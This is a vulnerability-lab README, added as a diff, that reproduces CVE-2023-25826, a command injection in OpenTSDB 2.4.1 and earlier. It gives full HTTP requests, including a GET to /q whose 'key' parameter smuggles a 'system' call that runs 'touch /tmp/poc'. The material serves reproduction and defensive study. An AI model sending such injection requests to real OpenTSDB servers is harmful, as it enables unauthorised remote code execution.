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+# OpenTSDB Arbitrary Command Injection Remote Code Execution（CVE-2023-25826）
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+OpenTSDB is a distributed, scalable Time Series Database (TSDB) written on top of HBase.
+In version 2.4.1 and earlier, there is a command injection vulnerability. This vulnerability is actually due to an incomplete fix for CVE-2020-35476, so the entire reproduction process is similar to the previous one.
+
+References:
+
+- https://www.synopsys.com/blogs/software-security/opentsdb/
+- https://github.com/OpenTSDB/opentsdb/pull/2275
+
+## Environment
+
+Execute the following command to start a OpenTSDB server 2.4.1:
+
+```
+docker-compose up -d
+```
+
+Once the service is started, visit `http://your-ip:4242` to see the web interface of the OpenTSDB.
+
+## Exploit
+
+Simialar as CVE-2020-35476, you need to know the name of a metric, visit `http://your-ip:4242/api/suggest?type=metrics&q=&max=10`to find out the metric list.
+
+Due to the `tsd.core.auto_create_metrics` is set to `true` in this vulnerable OpenTSDB, you can create a metric named `sys.cpu.nice` through following request, if the metrics are empty:
+
+```
+POST /api/put/ HTTP/1.1
+Host: your-ip:4242
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
+Content-Type: application/x-www-form-urlencoded
+Connection: close
+Content-Length: 150
+
+{
+    "metric": "sys.cpu.nice",
+    "timestamp": 1346846400,
+    "value": 20,
+    "tags": {
+       "host": "web01",
+       "dc": "lga"
+    }
+}
+```
+
+If at least one metric exists and is not empty, the above request is not required.
+
+Then the POC is different here, with the difference in the "key" parameter.
+
+```
+GET /q?start=2000/10/21-00:00:00&m=sum:sys.cpu.nice&o=&ylabel=1&xrange=&y2range=[42:42]&key=%3Bsystem%20%22touch%20/tmp/poc%22%20%22&wxh=1516x644&style=linespoint&baba=lala&grid=t&json HTTP/1.1
+Host: your-ip:4242
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
+Connection: close
+
+
+```
+
+![](1.png)
+
+`touch /tmp/poc` has been successfully executed:
+
+![](2.png)